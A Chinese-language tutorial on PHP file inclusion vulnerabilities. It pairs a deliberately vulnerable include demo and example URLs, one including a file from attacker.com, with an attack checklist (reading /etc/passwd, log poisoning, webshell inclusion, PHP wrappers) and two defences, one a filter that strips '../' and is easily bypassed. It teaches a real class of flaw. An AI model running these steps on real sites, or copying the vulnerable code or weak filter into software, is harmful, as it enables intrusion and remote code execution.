文件包含漏洞

1
<?php
2
echo "<h1>文件包含demo</h1><br>";
3
include($_REQUEST['file']);
4
?>

1
http://target.com/include_demo.php?file=test.txt

1
test.txt 内容：
2
下面有另外一个有效的php代码。<br>
3
<?php
4
echo "我是第二个运行的脚本的结果。<br>";
5
?>

1
/etc/php/7.4/fpm/php.ini

1
http://target.com/include_demo.php?file=http://attacker.com/test.txt

1
1. 发现文件包含参数（?file=、?page=、?url= 等）
2
2. 尝试本地文件包含（读取 /etc/passwd）
3
3. 如果成功 → LFI
4
   ├── 读取敏感文件获取信息
5
   ├── 包含日志文件（访问日志、错误日志）→ 注入代码到日志 → 包含执行
6
   ├── 包含上传的文件（头像、附件）→ 执行 Webshell
7
   └── 包含 Session 文件 → 利用 Session 注入
8
4. 如果允许远程包含 → RFI
9
   └── 包含远程恶意文件 → RCE
10
5. 使用伪协议
11
   ├── php://filter → 读取源码
12
   ├── php://input → 执行 POST 代码
13
   └── data:// → 直接执行代码

1
include(
2
include_once(
3
require(
4
require_once(

1
// 白名单防御
2
$allowed = ['home', 'about', 'contact'];
3
if (!in_array($_GET['file'], $allowed)) {
4
    die('Invalid file');
5
}
6
include('./pages/' . $_GET['file'] . '.php');
7

8
// 路径过滤
9
$file = str_replace(['../', './', '\\'], '', $_GET['file']);
10
include('./pages/' . $file . '.php');